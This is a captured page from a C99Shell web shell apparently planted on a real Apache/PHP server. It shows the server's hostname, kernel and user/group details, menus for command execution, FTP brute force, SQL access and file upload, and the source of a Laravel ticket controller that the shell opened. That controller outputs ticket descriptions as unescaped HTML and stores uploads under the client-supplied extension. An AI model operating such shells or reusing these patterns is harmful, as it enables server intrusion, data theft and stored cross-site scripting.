!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html_v1_1/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.58 GB of 117.98 GB (24.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TicketController.php (5.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Events\SendMail;
use 
App\Http\Controllers\Controller;
use 
App\Models\Ticket;
use 
App\Models\TicketDescription;
use 
Illuminate\Http\Request;
use 
Response;

class 
TicketController extends Controller
{
    public function 
index()
    {
        return 
view('customer.ticket.index');
    }

    public function 
show()
    {
        
$customers auth('customer')->user()->tickets()->select(['id''subject''status']);
        return 
datatables()->of($customers)
            ->
addColumn('description', function ($q) {
                
$ticketDesc=TicketDescription::where('ticket_id'$q->id)->first();
                return 
"<div class='show-more' style='white-space: pre-wrap'>  $ticketDesc->description </div>";
            })
            ->
addColumn('status', function ($q) {
                if(
$q->status=='pending'){
                    
$status='<span class="badge bg-green">'.ucfirst($q->status).'</span>';
                }elseif (
$q->status=='open' || $q->status == 'processing' || $q->status == 'solved'){
                    
$status='<span class="badge bg-primary">'.ucfirst($q->status).'</span>';
                }else{
                    
$status='<span class="badge bg-danger">'.ucfirst($q->status).'</span>';
                }
                return 
$status;
            })
            ->
addColumn('action', function ($q) {
                return 
"<a target='_blank' class='btn btn-sm btn-info' href='" route('customer.ticket.details', ['id'=>$q->id]) . "'>Reply</a> &nbsp; &nbsp;";
            })
            ->
rawColumns(['action','status','description'])
            ->
toJson();
    }

    public function 
store(Request $request)
    {
        
$request->validate([
            
'subject' => 'required',
            
'description' => 'required'
        
]);

        
$user auth('customer')->user();

        
$ticket = new Ticket();
        
$ticket->subject $request->subject;
        
$ticket->admin_id $user->admin_id;
        
$ticket->status 'pending';
        
$ticket->customer_id $user->id;
        if (
$request->hasFile('document')) {
            
$file $request->file('document');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$ticket->document $imageName;
        }
        
$ticket->save();

        
$ticket_description = new TicketDescription();
        
$ticket_description->ticket_id $ticket->id;
        
$ticket_description->description $request->description;
        
$ticket_description->sender $user->id;
        
$ticket_description->sent_status 'sent';
        
$ticket_description->save();

        
/*$template = EmailTemplate::where('type','ticket')->first();
        if ($template) {
            $template = str_replace('{customer_name}', $user->first_name, $template->body);
            $template = str_replace('{message}', $request->description, $template->body);
            SendMail::dispatch($user->email, $template->subject, $template);
        }*/

        
return redirect()->route('customer.ticket.index')->with('success'trans('customer.messages.ticket_submitted'));
    }

    public function 
details(Request $request)
    {
        
$data['customer']=$customer auth('customer')->user();
        
$data['ticket'] = $ticket Ticket::where('customer_id'$customer->id)->where('id'$request->id)->firstOrFail();

        
$data['conversations'] = TicketDescription::where('ticket_id'$ticket->id)->get();

        return 
view('customer.ticket.details'$data);
    }


    public function 
reply(Request $request)
    {
        
$customer auth('customer')->user();
        
$ticket Ticket::where('id'$request->id)->where('customer_id'$customer->id)->firstOrFail();

        
$ticket_description = new TicketDescription();

        if (
$request->hasFile('document')) {
            
$file $request->file('document');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$ticket_description->document $imageName;
        }

        
$ticket_description->ticket_id $ticket->id;
        
$ticket_description->description $request->description;
        
$ticket_description->sender $ticket->customer_id;
        
$ticket_description->receiver $ticket->admin_id;
        
$ticket_description->sent_status 'customer';
        
$ticket_description->save();

    
/*    $template = EmailTemplate::where('type','ticket')->first();
        if ($template) {
            $template = str_replace('{customer_name}', $customer->first_name, $template->body);
            $template = str_replace('{message}', $request->description, $template->body);
            SendMail::dispatch($customer->email, $template->subject, $template);
        }*/


        
return redirect()->route('customer.ticket.details', ['id' => $ticket->id]);
    }

    public function 
documentDownload(Request $request)
    {
        
$ticketDescription TicketDescription::where('id',$request->id)->where('document',$request->file)->firstOrFail();
        
$filepath public_path('uploads/') . "$ticketDescription->document";

        return 
Response::download($filepath);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--